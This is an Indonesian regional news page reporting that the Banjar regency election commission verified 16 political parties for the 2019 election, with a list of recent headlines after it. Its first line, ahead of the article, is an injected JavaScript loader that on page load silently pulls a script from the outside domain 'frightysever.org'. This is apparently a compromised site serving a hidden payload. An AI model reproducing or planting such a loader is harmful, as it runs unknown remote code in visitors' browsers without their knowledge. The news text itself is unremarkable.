(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pesta Demokrasi di Kabupaten Banjar Diramaikan 16 Partai Politik


MARTAPURA, 16 Partai politik di Kabupaten Banjar dinyatakan memenuhi syarat atau lolos verifikasi faktual oleh Komisi Pemilihan Umum (KPU) Kabupaten Banjar. Dalam penyampaian hasil verifikasi  kepengurusan dan keanggotaan partai politik calon peserta pemilihan umum tahun 2019 di Kabupaten Banjar, Ketua KPU Banjar Fajeri Tamzidillah menyatakan 12 partai peserta pemilu 2014 dan 4 partai baru.

Sebelumnya KPU Pusat menjadwal waktu verifikasi faktual selama tiga hari, sejak tanggal 30 Januari sampai 1 Februari. Untuk Kabupaten Banjar, ke 16 Parpol dinyatakan memenuhi syarat atau lolos tahap verifikasi.  “Selamat untuk semua parpol yang telah memperjuangkan partainya melewati tahap ini,” ujar Fajeri dalam sambutannya di depan perwakilan parpol, Jumat (2/2) di Aula KPU Kabupaten Banjar.

Dengan ditetapkannya 16 parpol telah memenuhi syarat, maka tidak akan lagi melakukan perlengkapan data ulang hingga tanggal 10 Februari.

“Karena semua parpol baik yang lama atau parpol yang baru di antaranya Garuda, PSI, Berkarya, dan Perindo sudah memenuhi persyaratan,” ujarnya.

Fajeri melanjutkan, penyampaian hasil verifikasi ini hanya bersifat di Kabupaten Banjar saja. Tetapi yang menentukan parpol resmi menjadi peserta pemilu atau tidaknya akan dilihat dari pengumuman KPU Pusat pada tanggal 17 Februari.

Perihal adanya anggota partai yang pindah ke partai yang lain, menurut Fajeri masih belum ada aturan tentang hal tersebut. Namun apabila ada anggota parpol yang berpindah ke partai lain menurut aturan yang ada ia harus mengundurkan diri dulu dari partainya yang dulu.

“Menanggapi adanya perpindahan anggota partai ke partai yang lain kita masih belum memiliki aturan itu. Namun menurut aturan yang ada apabila ada yang berpindah partai maka orang itu harus mengundurkan diri dulu. Jika ada anggota dewan juga yang ingin berpindah partai maka ia harus melepas jabatannya di  DPRD menarik diri dari fraksi partainya,” ujarnya. (hendera)

Reporter: Hendera
Editor: Chell

Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

3 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

7 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

11 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.